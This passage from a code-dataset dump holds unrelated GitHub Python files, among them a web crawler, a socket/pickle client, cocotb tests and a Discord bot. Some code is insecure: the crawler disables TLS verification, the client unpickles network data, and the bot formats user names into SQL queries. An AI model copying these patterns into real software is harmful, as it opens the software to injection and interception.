{avto_info['narhi']}$\")","repo_name":"Zokirkhon1002/learning-Python","sub_path":"09-dars/avto_info.py","file_name":"avto_info.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"uz","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"32507274097","text":"import socket\nimport time\nimport pickle\n\naddress = 'localhost', 20_001\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(address)\n\nmsg = pickle.dumps((\"add\", 12, 3, {}))\n\nsend_bytes = s.send(msg)\nprint(f\"{send_bytes} byte(s) sent\")\nprint(\"Waiting for response...\")\n\nresponse = s.recv(1024)\nwhile not response:\n time.sleep(0.1)\n response = s.recv(1024)\n\nprint(f\"Received {len(response)} byte(s)\")\nresult = pickle.loads(response)\nprint(result)\n\ns.close()\n","repo_name":"AlexanderKosik/pyraft","sub_path":"experiments/rcpproxy.py","file_name":"rcpproxy.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23887897999","text":"# Arachnid\n# V0.2\n# V0LT\n# Licensed under the GPLv3\n\nfrom html.parser import HTMLParser\nfrom urllib.request import urlopen\nfrom urllib.parse import urljoin, urlparse\nfrom urllib.error import HTTPError\nfrom http.client import InvalidURL\nfrom ssl import _create_unverified_context\nimport os\nfrom os import system, name \nimport requests\nimport json\nimport validators\n\n\npages_found = 0 # This counts how many pages were discovered in links on crawled pages, including duplicates.\npages_visited = 0 # This counts how many pages were crawled by Arachnid.\n\ndiscovered_pages_list = [] # This keeps track of all pages discovered in links on crawled pages.\npage_error_list = {} # This will be used to keep track of all pages that return errors (404, 403, etc.)\n\n\n# Define the funtion that will be used to clear the screen\ndef clear():\n if name == 'nt':\n system('cls')\n else:\n system('clear')\n\n\n# Locates links in pages\nclass AnchorParser(HTMLParser):\n def __init__(self, baseURL = \"\"):\n # Parent class constructor\n HTMLParser.__init__(self)\n\n # Set of all hyperlinks in the web page\n self.pageLinks = set()\n\n # The base url of the webpage to parse\n self.baseURL = baseURL\n\n def getLinks(self):\n return self.pageLinks\n\n def handle_starttag(self, tag, attrs):\n global page_error_list\n if tag == \"a\":\n for(attribute, value) in attrs:\n if attribute == \"href\":\n absoluteUrl = urljoin(self.baseURL, value)\n if urlparse(absoluteUrl).scheme in [\"http\", \"https\"]: # Only follow links that use HTTP or HTTPS\n if (urlparse(site_to_test).netloc in str(absoluteUrl)): # Only follow links on the same domain as the initial page\n global pages_found\n global discovered_pages_list\n pages_found = pages_found + 1\n discovered_pages_list += [absoluteUrl]\n self.pageLinks.add(absoluteUrl)\n\n r = requests.head(absoluteUrl, allow_redirects = True)\n if (r.status_code != 200): # If the returned status code is anything other than 200, log it.\n global page_error_list\n\n # Initialize page error list if it hasn't been already\n if str(r.status_code) not in page_error_list:\n page_error_list[str(r.status_code)] = {}\n\n if self.baseURL not in page_error_list[str(r.status_code)]:\n page_error_list[str(r.status_code)][self.baseURL] = []\n \n # Save the errors to the list if they haven't yet been recorded\n if absoluteUrl not in page_error_list[str(r.status_code)][self.baseURL]:\n page_error_list[str(r.status_code)][self.baseURL].append(absoluteUrl)\n\n elif tag == \"html\":\n lang_is_set = False # This is a placeholder variable that will be changed to true if this HTML tag has a 'lang' attribute\n for(attribute, value) in attrs:\n if attribute == \"lang\":\n lang_is_set = True\n if lang_is_set == False:\n\n # Initialize page error list if it hasn't been already\n if \"no-lang\" not in page_error_list:\n page_error_list[\"no-lang\"] = {}\n\n if self.baseURL not in page_error_list[\"no-lang\"]:\n page_error_list[\"no-lang\"][self.baseURL] = []\n \n # Save the errors to the list if they haven't yet been recorded\n absoluteUrl = self.baseURL\n if absoluteUrl not in page_error_list[\"no-lang\"][self.baseURL]:\n page_error_list[\"no-lang\"][self.baseURL] = {}\n\n elif tag == \"img\":\n alt_is_set = False # This is a placeholder variable that will be changed to true if this img tag has an 'alt' attribute\n for(attribute, value) in attrs:\n if attribute == \"alt\":\n alt_is_set = True\n if alt_is_set == False:\n for(attribute, value) in attrs:\n if attribute == \"src\":\n image_link = value\n \n\n # Initialize page error list if it hasn't been already\n if \"no-alt\" not in page_error_list:\n page_error_list[\"no-alt\"] = {}\n\n if self.baseURL not in page_error_list[\"no-alt\"]:\n page_error_list[\"no-alt\"][self.baseURL] = []\n \n # Save the errors to the list if they haven't yet been recorded\n absoluteUrl = self.baseURL\n if image_link not in page_error_list[\"no-alt\"][self.baseURL]:\n page_error_list[\"no-alt\"][self.baseURL].append(image_link)\n\n\nclass MyWebCrawler(object):\n def __init__(self, url, maxCrawl=10):\n self.visited = set() # To track all visited urls\n self.starterUrl = url\n self.max = maxCrawl\n\n def crawl(self):\n urlsToParse = {self.starterUrl}\n # While there are still more URLs to parse and we have not exceeded the crawl limit\n while(len(urlsToParse) > 0 and len(self.visited) < self.max):\n # Get the next URL to visit and remove it from the set\n nextUrl = urlsToParse.pop()\n global pages_visited\n global pages_found\n pages_visited = pages_visited + 1\n clear()\n print(\"Pages visited: \" + str(pages_visited))\n print(\"Pages found: \" + str(pages_found))\n\n # Skip the next URL if it has already been visited\n if nextUrl not in self.visited:\n # Mark the next URL as visited\n self.visited.add(nextUrl)\n # Call the .parse method to make a web request\n # and parse any new URLs from the HTML content\n # any new URLs found will be appended to the urlsToParse set\n # print(\"Parsing: {}\".format(nextUrl))\n if (self.parse(nextUrl) is not None and urlsToParse is not None):\n urlsToParse |= self.parse(nextUrl)\n\n def parse(self, url):\n try:\n # Open the URL, read content, decode content\n url_response = urlopen(url, context=_create_unverified_context())\n htmlContent = url_response.read().decode()\n \n if (url_response.geturl() == url):\n # Initiate the AnchorParser object\n parser = AnchorParser(url)\n # Feed in the HTML content to our AnchorParser object\n parser.feed(htmlContent)\n # The AnchorParser object has a set of absolute URLs that can be returned\n return parser.getLinks()\n else:\n print(\"Redirect detected, not logging page\")\n \n except (HTTPError, InvalidURL, UnicodeDecodeError):\n # In the case we get any HTTP error\n return set()\n\n def getVisited(self):\n return self.visited\n \n\nwhile True:\n site_to_test = input(\"Please enter a page to crawl: \")\n if validators.url(site_to_test) == True:\n break\n else:\n print(\"Error: The page you entered isn't a valid URL\")\n\n\nmax_crawl = int(input(\"Please enter a maximum number of pages to crawl: \"))\n\ncrawler = MyWebCrawler(site_to_test, maxCrawl=int(max_crawl))\n\ncrawler.crawl()\n\n# Remove duplicates in 'discovered pages' list\ndiscovered_pages_list = list(dict.fromkeys(discovered_pages_list))\n\nclear()\nprint(\"Crawl complete\")\ninput(\"\") # Wait for the user to press enter before continuing\n\nwhile True: # Run forever in a loop until the user exits\n clear()\n print(\"Please select an option\")\n print(\"0. Exit\")\n print(\"1. View visited pages\")\n print(\"2. View discovered pages\")\n print(\"3. View crawl statistics\")\n print(\"4. Check raw status codes of discovered pages\")\n print(\"5. Check human-readable website issues\")\n\n while True: # Run forever until the user enters something\n selection = input(\"Selection: \")\n if selection != None and selection != \"\":\n selection = int(selection)\n break\n else:\n print(\"Error: Please enter a number to select which menu you'd like to open\")\n\n clear()\n if (selection == 0):\n break # Break the loop and exit\n elif (selection == 1):\n print(format(crawler.getVisited())) # Print visited pages\n input(\"\") # Wait for the user to press enter before continuing\n elif (selection == 2):\n print(discovered_pages_list) # Print discovered pages\n input(\"\") # Wait for the user to press enter before continuing\n elif (selection == 3):\n print(\"Pages visited: \" + str(pages_visited))\n print(\"Pages found: \" + str(len(discovered_pages_list)))\n input(\"\") # Wait for the user to press enter before continuing\n elif (selection == 4):\n print(\"Please enter an error code to check for. Enter 0 to show all.\")\n selection = input(\"Selection: \")\n \n if (selection == \"0\"):\n print(json.dumps(page_error_list, sort_keys=True, indent=4)) # Print the array in a visually appealing, easy to understand way.\n else:\n if (str(selection) in page_error_list):\n print(json.dumps(page_error_list[str(selection)], sort_keys=True, indent=4)) # Print the array in a visually appealing, easy to understand way.\n else:\n print(\"No pages returned this error!\")\n input(\"\") # Wait for the user to press enter before continuing\n\n elif (selection == 5):\n while True:\n clear()\n print(\"0. Exit\")\n print(\"1. View 'Page Not Found' errors\")\n print(\"2. View 'Permission Denied' errors\")\n print(\"3. View 'No Language Defined' errors\")\n print(\"4. View 'No Image Alt Text' errors\")\n selection = input(\"Selection: \")\n \n if (selection == \"0\"):\n break\n elif (selection == \"1\"):\n clear()\n print(\"Pages with 404 errors\")\n if \"404\" in page_error_list:\n for page in page_error_list[\"404\"]:\n print(page + \":\")\n for errors in page_error_list[\"404\"][page]:\n print(\"\\t\" + errors)\n else:\n print(\"No pages returned 404 errors!\")\n input(\"\") # Wait for the user to press enter before continuing\n elif (selection == \"2\"):\n clear()\n print(\"Pages with 403 errors:\")\n if \"403\" in page_error_list:\n for page in page_error_list[\"403\"]:\n print(page + \":\")\n for errors in page_error_list[\"403\"][page]:\n print(\"\\t\" + errors)\n else:\n print(\"No files returned 403 errors!\")\n input(\"\") # Wait for the user to press enter before continuing\n \n elif (selection == \"3\"):\n clear()\n print(\"Pages missing HTML language data:\")\n if \"no-lang\" in page_error_list:\n for page in page_error_list[\"no-lang\"]:\n print(page)\n else:\n print(\"All scanned pages had properly configured HTML language data!\")\n input(\"\") # Wait for the user to press enter before continuing\n\n elif (selection == \"4\"):\n clear()\n print(\"Missing alt text instances:\")\n if \"no-alt\" in page_error_list:\n for page in page_error_list[\"no-alt\"]:\n print(page)\n print(\"\\t\" + str(len(page_error_list[\"no-alt\"][page])) + \"\\n\")\n else:\n print(\"All scanned images had properly configured alt-text!\")\n input(\"\") # Wait for the user to press enter before continuing\n\n else:\n clear()\n print(\"Error: Invalid selection\")\n input(\"\") # Wait for the user to press enter before continuing\n \n\n else:\n clear()\n print(\"Error: Invalid selection\")\n input(\"\") # Wait for the user to press enter before continuing\n","repo_name":"connervieira/Arachnid","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74943659043","text":"# coding=utf-8\nfrom django.template import Library\n\n#获得过滤器对象\nregister = Library ()\n\n# 剪切字符串\n@register.filter\ndef split_str(value, args):\n start, end = args.split (',')\n result = str (value)\n length = len (result)\n if end == '':\n return result[int (start):length]\n return result[int (start):int (end)]\n\n\n# 剪切字符串,剩余部分用省略号代替\n@register.filter\ndef split_str_cut(value, args):\n lens = int (args)\n result = str (value)\n length = len (result)\n return result[:lens] + '...'\n\n#过滤markdown语法\n@register.filter\ndef markdown(value):\n import markdown\n return markdown.markdown (value)\n","repo_name":"JINFENGFY/DjangoWeb","sub_path":"learning_log/templatetags/Custom_filters.py","file_name":"Custom_filters.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11869540119","text":"from signal import pause\n\nimport cv2\n\nfrom pitop import Camera, PanTiltController\nfrom pitop.processing.algorithms.faces import FaceDetector\n\n\ndef track_face(frame):\n face = face_detector(frame)\n robot_view = face.robot_view\n\n cv2.imshow(\"Faces\", robot_view)\n cv2.waitKey(1)\n\n if face.found:\n face_center = face.center\n pan_tilt.track_object(face_center)\n print(f\"Face center: {face_center}\")\n else:\n pan_tilt.track_object.stop()\n print(\"Cannot find face!\")\n\n\nface_detector = FaceDetector()\n\npan_tilt = PanTiltController(servo_pan_port=\"S0\", servo_tilt_port=\"S3\")\npan_tilt.tilt_servo.target_angle = 0\npan_tilt.pan_servo.target_angle = 0\n\ncamera = Camera(resolution=(640, 480))\ncamera.on_frame = track_face\n\npause()\n","repo_name":"thymjan/pi-top-Python-SDK","sub_path":"examples/recipes/robot_pan_tilt_face_tracker.py","file_name":"robot_pan_tilt_face_tracker.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"73168925284","text":"import os\nimport glob\nimport math\nimport pickle\n\nimport torch\nimport numpy as np\n\nimport cv2\nfrom PIL import Image\nimport lintel\nimport av\n\nclass LintelLoader:\n\n\tdef __call__(self, clip_info, frames):\n\n\t\tunique_frames = sorted(list(set(frames)))\n\t\tframe_inds = [unique_frames.index(f) for f in frames]\n\n\t\twith open(clip_info[\"path\"], \"rb\") as f: vid = f.read()\n\t\tdecoded_frames, width, height = lintel.loadvid_frame_nums(vid, frame_nums=unique_frames, should_seek=True)\n\t\tdecoded_frames = np.frombuffer(decoded_frames, dtype=np.uint8)\n\t\tdecoded_frames = np.reshape(decoded_frames, newshape=(-1, height, width, 3))\n\n\t\tdecoded_frames = decoded_frames[frame_inds]\n\t\treturn decoded_frames\n\nclass PyAvLoader:\n\n\tdef __call__(self, clip_info, frames):\n\t\twith av.logging.Capture() as logs:\n\t\t\tcontainer = av.open(clip_info[\"path\"])\n\t\t\tcontainer.seek(frames[0], whence='frame', backward=True, any_frame=True)\n\t\t\tinit_frame = next(container.decode(video=0))\n\t\t\tdecoded_frames = np.empty((len(frames), init_frame.height, init_frame.width, 3), dtype=np.uint8)\n\t\t\tdecoded_frames[0] = init_frame.to_ndarray(format='rgb24')\n\t\t\tj = 1\n\t\t\tfor i, frame in enumerate(container.decode(video=0)):\n\t\t\t\tif i + frames[0] not in frames: continue\n\t\t\t\tdecoded_frames[j] = frame.to_ndarray(format='rgb24')\n\t\t\t\tj += 1\n\t\t\t\tif j == len(frames): break\n\t\t\treturn decoded_frames\n\nclass OpenCVLoader:\n\n\tdef __call__(self, clip_info, frames):\n\t\tpath_template = clip_info[\"path_template\"]\n\t\tclip = None\n\t\tfor i, frame_num in enumerate(frames):\n\t\t\tif i == 0:\n\t\t\t\tframe = cv2.imread(path_template.format(frame_num))\n\t\t\t\th, w, c = frame.shape\n\t\t\t\tclip = np.empty((len(frames), h, w, c), dtype=np.uint8)\n\t\t\t\tclip[0] = frame\n\t\t\telse:\n\t\t\t\tclip[i] = cv2.imread(path_template.format(frame_num))\n\t\treturn clip\n\nclass PILLoader:\n\n\tdef __call__(self, clip_info, frames):\n\t\tpath_template = clip_info[\"path_template\"]\n\t\tclip = None\n\t\tfor i, frame_num in enumerate(frames):\n\t\t\tif i == 0:\n\t\t\t\tframe = Image.open(path_template.format(frame_num)).to_ndarray()\n\t\t\t\th, w, c = frame.shape\n\t\t\t\tclip = np.empty((len(frames), h, w, c), dtype=np.uint8)\n\t\t\t\tclip[0] = frame\n\t\t\telse:\n\t\t\t\tclip[i] = Image.open(path_template.format(frame_num)).to_ndarray()\n\t\treturn clip\n","repo_name":"flixpar/ActivityRecognition","sub_path":"loaders/frame_loaders.py","file_name":"frame_loaders.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"11029402101","text":"import re\nfrom matching import find_closest_match\n\n\nasync def get_guild_user_info(ctx):\n members = ctx.message.guild.members\n return [[member.id, member.name] for member in members]\n\n\nasync def id_from_mention(text):\n pattern = \"<@!([0-9]+)>\"\n mention = re.search(pattern, text)\n if mention:\n return int(mention[1])\n else:\n return None\n\n\nasync def user_to_id(ctx, name_or_mention):\n \"\"\"finds discord id when @username is provided, or by partial lookup. Returns None if no good match.\"\"\"\n guild_user_info = await get_guild_user_info(ctx)\n discord_id = await id_from_mention(name_or_mention)\n if discord_id:\n guild_ids = [id_and_name[0] for id_and_name in guild_user_info]\n if discord_id not in guild_ids:\n return None\n else:\n names = [id_and_name[1] for id_and_name in guild_user_info]\n matched_name = find_closest_match(term=name_or_mention, bank=names, threshold=50)\n if matched_name:\n for id_and_name in guild_user_info:\n if id_and_name[1] == matched_name:\n discord_id = id_and_name[0]\n return discord_id\n\n\nasync def id_to_user(ctx, id):\n \"\"\"finds a user's username given their discord id\"\"\"\n guild_user_info = await get_guild_user_info(ctx)\n for id_and_name in guild_user_info:\n if id_and_name[0] == id:\n return id_and_name[1]\n return None","repo_name":"MelonFaceDOOM/movie-sheet","sub_path":"melon_discord.py","file_name":"melon_discord.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40708188153","text":"#======================================================\n# Config\n#======================================================\n'''\nInfo: Append main working directory and scripts \n folders to system path.\nVersion: 1.0\nAuthor: Young Lee\nCreated: Saturday, 13 April 2019\n\n'''\n# Import modules\nimport os\nimport sys\n\n\n#------------------------------\n# Set up working dir\n#------------------------------\nif 'scripts' in os.getcwd():\n main_dir = os.getcwd().split('scripts')[0]\nelif os.path.exists(os.path.join(os.getcwd(), 'scripts')):\n main_dir = os.getcwd()\nelse:\n raise Exception('\\n\\nCannot find main directory.\\nMake sure to execute the script from project folder.\\nE.g. from folder that contains scripts, or the .py file.\\n')\n\n# Append main dir and subpaths\nscripts_dir = os.path.join(main_dir, 'scripts')\nsub_scripts_dir = [dir[0] for dir in os.walk(scripts_dir)]\nsys.path.append(main_dir)\nfor dir in sub_scripts_dir:\n sys.path.append(dir)","repo_name":"Youngl41/A3C","sub_path":"config/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71442575844","text":"import random\nimport warnings\n\nimport cocotb\nfrom cocotb.clock import Clock\nfrom cocotb.triggers import FallingEdge\nfrom cocotb.triggers import RisingEdge\nfrom cocotb.triggers import Edge\nfrom cocotb.triggers import Timer\nfrom cocotb.binary import BinaryValue\n#from cocotb.regression import TestFactory\n\n# NOP = MOV R0, #0 \n\"\"\"\nNOP\nBL store\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nstore: BX LR\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\nMOV R0, #0\n\"\"\"\n\n\"\"\"\n0A0000EB\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n1EFF2FE1\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n0000A0E3\n\"\"\"\n\n\n@cocotb.test()\nasync def branch_test(dut):\n #start the clock\n await cocotb.start(Clock(dut.clk, 10, 'us').start(start_high=False))\n #set clkedge as the FallingEdge for triggers\n clkedge = RisingEdge(dut.clk)\n await clkedge\n # reset PC and RegFile\n dut.rst.value = 1\n await clkedge\n await clkedge\n dut.rst.value = 0\n assert dut.PC_out.value == 0\n #assert dut.Inst.value == 0\n # starts operation\n await clkedge\n # fetch BL store\n await clkedge\n await clkedge\n # decode BL store, fetch NOP\n print(\"dut.Inst.value\",hex(dut.Inst.value))\n #assert dut.PC_out.value == 4\n await clkedge\n # Execute BL store, fetch NOP, decode NOP\n await clkedge\n # Memory BL store, execute NOP, decode NOP, fetch NOP\n assert dut.PCSrcM.value == 1\n await clkedge\n # write back BL store, memory NOP, execute NOP, decode NOP, fetch NOP\n print(\"before branch dut.PC_out.value\",hex(dut.PC_out.value))\n print(\"before branch dut.ALUOutW.value\", dut.ALUOutW.value)\n print(\"dut.PCPlus4W.value\", dut.PCPlus4W.value)\n assert dut.REGWr.value == 1\n assert dut.RegSrcW.value == 1\n assert dut.WriteSrcW.value == 1\n await clkedge\n await clkedge\n # fetch BX LR, writeback NOP, memory NOP, execute NOP, decode NOP\n print(\"after branch dut.PC_out.value\",hex(dut.PC_out.value))\n await clkedge\n # fetch NOP, writeback NOP, memory NOP, execute NOP, decode BX LR\n print(\"dut.Inst.value\",hex(dut.Inst.value))\n await clkedge\n # fetch NOP, writeback NOP, memory NOP, execute BX LR, decode NOP\n print(\"dut.RD2.value\", dut.RD2.value )\n print(\"dut.RD1.value\", dut.RD1.value )\n #assert dut.RD2.value == 8\n await clkedge\n # fetch NOP, writeback NOP, memory BX LR, execute NOP, decode NOP\n await clkedge\n # fetch NOP, writeback BX LR, memory NOP, execute NOP, decode NOP\n print(\"before BX branch dut.PC_out.value\",hex(dut.PC_out.value))\n print(\"before branch BX dut.ALUOutW.value\", dut.ALUOutW.value)\n await clkedge\n # fetch NOP\n print(\"after branch BX dut.PC_out.value\",hex(dut.PC_out.value))\n await clkedge\n print(\"after branch BX dut.PC_out.value\",hex(dut.PC_out.value))\n await clkedge\n","repo_name":"htmos6/Pipelined-Processor-With-Branch-Predictor","sub_path":"tests/tests/branch_test/branch_test.py","file_name":"branch_test.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11613094352","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/7/20 13:54\n# @Author : XiaTian\n# @File : server.py\n\n\nfrom socket import *\nimport select\n\nserver = socket(AF_INET,SOCK_STREAM)\nserver.bind(('127.0.0.1',8070))\nserver.listen(5)\nserver.setblocking(False) # 设置是否阻塞,False代表不阻塞\n\nc_list = [server,]\nw_list = []\nw_data = {}\nwhile True:\n cl, wl, xl = select.select(c_list, w_list, [], 0.5)\n for conn in cl:\n if conn == server:\n conn, addr = conn.accept()\n c_list.append(conn)\n else:\n try:\n data = conn.recv(1024)\n if not data:\n conn.close()\n c_list.remove(conn)\n continue\n w_list.append(conn)\n w_data[conn] = data.upper()\n\n except ConnectionError:\n conn.close()\n c_list.remove(conn)\n\n for conn in wl:\n data = w_data[conn]\n conn.send(data)\n w_list.remove(conn)\n w_data.pop(conn)\n\nserver.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"summer5625/Mygit","sub_path":"第四模块_网络编程进阶_数据库开发/复习/套接字/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28275782958","text":"import cms_tools as cms\n\nimport sys\n\nimport numpy as np\nimport matplotlib.pylab as plt\n\n\ninfilename = sys.argv[1]\ncollisions = cms.get_collisions_from_filename(infilename)\n\nvalues = []\nvaluesjet = []\nvaluesmet = [[],[]]\nvalueselectron = []\n\nfor i,collision in enumerate(collisions):\n\n if i%1000==0:\n print(i)\n\n jets,muons,electrons,photons,met = collision\n\n for jet in jets:\n e,px,py,pz,btag = jet\n valuesjet.append(e)\n\n#print(valuesjet)\n\nplt.figure()\nplt.hist(valuesjet,bins=100,range=(0,500))\n\n#plt.show()\n\n\n","repo_name":"mattbellis/testing_HEP_file_formats","sub_path":"conversion_tools/test_zip_text_files.py","file_name":"test_zip_text_files.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"11436729884","text":"# These are the dependecies. The bot depends on these to function, hence the name. Please do not change these unless your adding to them, because they can break the bot.\nimport discord\nfrom discord.ext.commands import Bot\nimport platform\nimport json\nfrom options.opus_loader import load_opus_lib\nimport re\nimport csv\nimport asyncio\nfrom plugin.music import Music\nimport psycopg2\n\ntry:\n from plugin.database import Database\nexcept:\n pass\n\nload_opus_lib()\n\n### Core\n\ntmp_config = json.loads(str(open('options/config.js').read()))\nconfig = tmp_config['config']\nemojiUnicode = tmp_config['unicode']\nexchange = tmp_config['exchange']\nbotzillaChannels = tmp_config['channels']\n# The help command is currently set to be Direct Messaged.\n# If you would like to change that, change \"pm_help = True\" to \"pm_help = False\" on line 9.\nbot = Bot(description=\"BotZilla is built / maintained / self hosted by PuffDip\\nUserdata may be stored for better experience.\", command_prefix=config['prefix'], pm_help=False)\nmusic_channels = botzillaChannels['music']\ndatabase_file_found = False\ndatabase_settings = tmp_config['database']\n\ntry:\n database = Database(bot)\n database_file_found = True\nexcept:\n print('Core: Database files not found')\n pass\n\n\nasync def dbimport():\n \"\"\"\n Import CSV data from import folder\n \"\"\"\n\n # Users\n try:\n with open(database.database_import_location_users, 'r') as file:\n reader = csv.reader(file, delimiter=',')\n for row in reader:\n try:\n row = str(row).replace('[\"', '')\n row = str(row).replace('\"]', '')\n database.cur.execute(\"INSERT INTO botzilla.users (ID, name) VALUES{};\".format(row))\n database.cur.execute(\"ROLLBACK;\")\n except:\n pass\n except Exception as e:\n pass\n\n\n #music channels\n try:\n with open(database.database_import_location_music_channels, 'r') as file:\n reader = csv.reader(file, delimiter=',')\n for row in reader:\n try:\n row = str(row).replace('[\"', '')\n row = str(row).replace('\"]', '')\n database.cur.execute(\"INSERT INTO botzilla.music (ID, channel_name, server_name, type_channel) VALUES{};\".format(row))\n database.cur.execute(\"ROLLBACK;\")\n except:\n pass\n except Exception as e:\n pass\n\n try:\n with open(database.database_import_location_blacklist, 'r') as file:\n reader = csv.reader(file, delimiter=',')\n for row in reader:\n try:\n row = str(row).replace('[\"', '')\n row = str(row).replace('\"]', '')\n print(row)\n database.cur.execute(\"INSERT INTO botzilla.blacklist (ID, server_name, reason, total_votes) VALUES{};\".format(row))\n database.cur.execute(\"ROLLBACK;\")\n except:\n pass\n except Exception as e:\n pass\n\n # music urls\n try:\n with open(database.database_import_musicque, 'r') as file:\n reader = csv.reader(file, delimiter=',')\n for row in reader:\n b = re.search(r'^(.*)', str(row)).group()\n b = b.replace('[', '')\n b = b.replace('\"(', '')\n b = b.replace(',)\"', '')\n row = b.replace(']', '')\n database.cur.execute(\"INSERT INTO botzilla.musicque(url) VALUES({});\".format(row))\n database.cur.execute(\"ROLLBACK;\")\n except Exception as e:\n pass\n\n # Blacklist\n try:\n database.cur.execute(\"SELECT ID from botzilla.blacklist;\")\n rows = database.cur.fetchall()\n database.cur.execute(\"ROLLBACK;\")\n for item in rows:\n item = str(item).replace('(', '')\n item = item.replace(',)', '')\n database.blacklist.append(item)\n except Exception as e:\n print(f'Can\\'t find database{e.args}')\n\n\nasync def get_users():\n \"\"\"\n Update datebase with current active users\n \"\"\"\n data_members = {\"id\" : \"name\"}\n for server in bot.servers:\n for member in server.members:\n data_members.update({member.id:member.name})\n\n for id_members, name_members in data_members.items():\n try:\n database.cur.execute('INSERT INTO botzilla.users (ID, name) VALUES ({}, \\'{}\\');'.format(\n id_members, str(name_members)))\n database.cur.execute(\"ROLLBACK;\")\n except Exception as e:\n print('Error gathering info user:\\n{}'.format(e.args))\n\n\nasync def auto_join_channels(music_playlist):\n music = Music(bot)\n for server in bot.servers:\n for channel in server.channels:\n if 'music' in channel.name.lower():\n if str(channel.type) == 'voice':\n print(f'item {channel.id} found, joining {channel.server.name} : {channel.name}')\n if database_file_found:\n if database.database_online:\n await dbimport()\n # channel = bot.get_channel(f'{channel.id}')\n music.voice_states.update({channel : server.id})\n await music.summon(channel)\n else:\n pass\n\n\nasync def total_online_user_tracker():\n while True:\n game = discord.Game(name='{} online users'.format(sum(1 for m in set(bot.get_all_members()) if m.status != discord.Status.offline)), type=3)\n await bot.change_presence(game=game)\n await asyncio.sleep(3)\n\n\n@bot.event\nasync def on_ready():\n print('Logged in as ' + bot.user.name + ' (ID:' + bot.user.id + ') | Connected to ' + str(\n len(bot.servers)) + ' servers | Connected to ' + str(len(set(bot.get_all_members()))) + ' users')\n print('Current Discord.py Version: {} | Current Python Version: {}'.format(discord.__version__,\n platform.python_version()))\n print('Use this link to invite {}:'.format(bot.user.name))\n print('https://discordapp.com/oauth2/authorize?client_id={}&scope=bot&permissions=8'.format(bot.user.id))\n print('--------')\n\n #plugins\n\n plugins = (\n \"admin\",\n \"exchange\",\n \"database\",\n \"fun\",\n \"music\",\n \"games\",\n \"gamestats\",\n \"information\",\n \"python_code_in_dc\",\n \"test\"\n )\n\n # load plugins\n for p in plugins:\n bot.load_extension(\"plugin.{}\".format(p))\n\n # get playlist\n global music_playlist\n music_playlist = []\n if database_file_found:\n if database.database_online:\n await dbimport()\n database.cur.execute('select * from botzilla.musicque;')\n rows = database.cur.fetchall()\n database.cur.execute(\"ROLLBACK;\")\n rows = str(rows).replace('[(\\'', '')\n rows = rows.replace(',)', '')\n rows = rows.replace('(', '')\n rows = rows.replace('\\'', '')\n links = rows.replace(' ', '')\n clean_links = links.split(',')\n for item in clean_links:\n music_playlist.append(item)\n\n # await auto_join_channels(music_playlist)\n\n database.conn = psycopg2.connect(\"dbname='{}' user='{}' host='{}' port='{}' password={}\".format(\n database_settings['db_name'],\n database_settings['user'],\n database_settings['ip'],\n database_settings['port'],\n database_settings['password']\n ))\n\n await total_online_user_tracker()\n\n\n@bot.event\nasync def on_member_join(member):\n print('{} | {} Joined: {}'.format(member.name, member.id, member.server))\n try:\n database.cur.execute('INSERT INTO botzilla.users (ID, name) VALUES ({}, \\'{}\\');'.format(\n member.id, member.name))\n database.cur.execute(\"ROLLBACK;\")\n print('{} | {} has been added to the database'.format(member.name, member.id))\n except Exception as e:\n print('Error gathering info user {} | {} :\\n```Python\\n{}```'.format(member.name, member.id, e.args))\n\n\n@bot.event\nasync def on_message(message):\n if message.author.bot: return\n\n database.cur.execute(\"SELECT ID FROM botzilla.blacklist;\")\n row = database.cur.fetchall()\n row = str(row).replace('[(', '')\n row = row.replace(',)]', '')\n database.cur.execute(\"ROLLBACK;\")\n if str(message.author.id) in row:\n if str(message.content).startswith('{}'.format(config['prefix'])):\n database.cur.execute(\"SELECT reason FROM botzilla.blacklist where ID = {};\".format(message.author.id))\n reason = database.cur.fetchall()\n database.cur.execute(\"ROLLBACK;\")\n reason = str(reason).replace(\"[('\", '')\n reason = reason.replace(\"',)]\", '')\n\n database.cur.execute(\"SELECT total_votes FROM botzilla.blacklist where ID = {};\".format(message.author.id))\n votes = database.cur.fetchall()\n database.cur.execute(\"ROLLBACK;\")\n votes = str(votes).replace('[(', '')\n votes = votes.replace(',)]', '')\n\n embed = 